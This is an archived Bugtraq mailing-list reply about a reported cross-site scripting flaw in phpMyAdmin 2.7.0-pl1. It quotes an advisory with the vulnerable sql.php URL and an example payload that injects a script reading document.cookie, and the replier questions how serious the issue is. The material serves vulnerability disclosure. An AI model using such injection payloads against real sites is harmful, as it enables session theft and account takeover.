Home page logo
/

bugtraq logo Bugtraq mailing list archives

Re: phpMyAdmin 2.7.0-pl1
From: Kevin Waterson <kevin () oceania net>
Date: Fri, 14 Apr 2006 10:17:54 +1000

This one time, at band camp, kr4ch () web de wrote:

If somebody has access to your phpmyadmin directory, you have a bigger issue than this

App: phpMyAdmin 2.7.0-pl1
Advistory by: p0w3r
Exploit: 
/phpmyadmin/sql.php?lang=de-utf-8&server=1&collation_connection=utf8_general_ci&db=fu&table=fu&goto=tbl_properties_structure.php&back=tbl_properties_structure.php&sql_query=[XSS]
Example: 
/phpmyadmin/sql.php?lang=de-utf-8&server=1&collation_connection=utf8_general_ci&db=fu&table=fu&goto=tbl_properties_structure.php&back=tbl_properties_structure.php&sql_query=SELECT+*+FROM+%60'%3Cscript%3Ealert(document.cookie)%3C/script%3E'%60


-- 
"Democracy is two wolves and a lamb voting on what to have for lunch. 
Liberty is a well-armed lamb contesting the vote."


  By Date           By Thread  

Current thread:
[ Nmap | Sec Tools | Mailing Lists | Site News | About/Contact | Advertising | Privacy ]
AlienVault